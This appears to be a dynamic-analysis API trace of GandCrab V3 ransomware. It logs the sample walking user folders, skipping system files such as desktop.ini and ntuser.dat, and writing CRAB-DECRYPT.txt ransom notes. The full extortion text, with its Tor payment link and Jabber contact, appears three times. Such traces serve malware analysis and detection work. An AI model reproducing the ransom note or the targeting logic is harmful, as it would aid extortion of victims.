	[0135.581] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.581] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\\\CRAB-DECRYPT.txt") returned 60
	[0135.581] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0135.582] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.582] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0135.583] CloseHandle (hObject=0x3ec) returned 1
	[0135.583] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.583] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\") returned 43
	[0135.583] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*"
	[0135.584] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0x32483b0
	[0135.584] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0135.584] FindNextFileW (in: hFindFile=0x32483b0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0135.584] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0135.584] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0135.584] FindNextFileW (in: hFindFile=0x32483b0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0135.584] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.584] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.584] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\CRAB-DECRYPT.txt"
	[0135.584] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.584] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\CRAB-DECRYPT.txt") returned 59
	[0135.584] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\CRAB-DECRYPT.txt") returned 59
	[0135.584] lstrlenW (lpString=".txt") returned 4
	[0135.584] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.585] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.585] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.585] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\CRAB-DECRYPT.txt") returned 59
	[0135.585] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\CRAB-DECRYPT.txt") returned 59
	[0135.585] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.585] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.585] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.585] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.585] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.585] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.585] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.585] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.585] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.585] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.585] FindNextFileW (in: hFindFile=0x32483b0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0135.585] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1
	[0135.585] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1
	[0135.586] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\", lpString2="Internet Explorer" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer"
	[0135.586] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\"
	[0135.586] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.586] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.586] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.586] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.586] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.586] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.586] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.586] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.586] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.586] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.586] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.586] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.586] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.587] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\\\CRAB-DECRYPT.txt") returned 78
	[0135.587] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0135.588] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.588] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0135.589] CloseHandle (hObject=0x3f0) returned 1
	[0135.589] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.589] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\") returned 61
	[0135.589] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*"
	[0135.589] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0x32484f0
	[0135.589] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0135.589] FindNextFileW (in: hFindFile=0x32484f0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0135.589] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0135.589] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0135.589] FindNextFileW (in: hFindFile=0x32484f0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0135.589] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.589] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.589] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\CRAB-DECRYPT.txt"
	[0135.589] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.590] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\CRAB-DECRYPT.txt") returned 77
	[0135.590] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\CRAB-DECRYPT.txt") returned 77
	[0135.590] lstrlenW (lpString=".txt") returned 4
	[0135.590] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.590] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.590] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.590] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\CRAB-DECRYPT.txt") returned 77
	[0135.590] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\CRAB-DECRYPT.txt") returned 77
	[0135.590] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.590] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.590] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.590] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.590] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.590] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.590] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.590] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.591] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.592] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.592] FindNextFileW (in: hFindFile=0x32484f0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0135.592] lstrcmpW (lpString1="Quick Launch", lpString2=".") returned 1
	[0135.592] lstrcmpW (lpString1="Quick Launch", lpString2="..") returned 1
	[0135.592] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="Quick Launch" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch"
	[0135.592] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\"
	[0135.592] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.592] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.592] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.592] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.592] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.592] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.593] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.593] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.593] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.593] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.593] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.593] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.593] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.593] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\\\CRAB-DECRYPT.txt") returned 91
	[0135.593] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0135.809] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.809] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0135.809] CloseHandle (hObject=0x3f4) returned 1
	[0135.809] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.810] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned 74
	[0135.810] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*"
	[0135.810] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0x3248430
	[0135.810] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0135.810] FindNextFileW (in: hFindFile=0x3248430, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0135.810] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0135.810] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0135.810] FindNextFileW (in: hFindFile=0x3248430, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0135.810] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.810] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.810] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\CRAB-DECRYPT.txt"
	[0135.810] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.811] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\CRAB-DECRYPT.txt") returned 90
	[0135.811] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\CRAB-DECRYPT.txt") returned 90
	[0135.811] lstrlenW (lpString=".txt") returned 4
	[0135.811] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.811] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.811] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.811] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\CRAB-DECRYPT.txt") returned 90
	[0135.811] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\CRAB-DECRYPT.txt") returned 90
	[0135.811] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.812] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.812] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.812] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.812] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.812] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.812] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.812] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.812] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.812] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.812] FindNextFileW (in: hFindFile=0x3248430, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0135.812] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0135.812] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0135.812] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini"
	[0135.812] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.813] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 85
	[0135.813] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 85
	[0135.813] lstrlenW (lpString=".ini") returned 4
	[0135.813] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.813] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0135.813] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.813] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 85
	[0135.813] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 85
	[0135.813] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0135.813] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.814] FindNextFileW (in: hFindFile=0x3248430, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0135.814] lstrcmpW (lpString1="Shows Desktop.lnk", lpString2=".") returned 1
	[0135.814] lstrcmpW (lpString1="Shows Desktop.lnk", lpString2="..") returned 1
	[0135.814] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Shows Desktop.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk"
	[0135.814] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.814] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 91
	[0135.814] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 91
	[0135.814] lstrlenW (lpString=".lnk") returned 4
	[0135.814] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.814] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0135.815] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
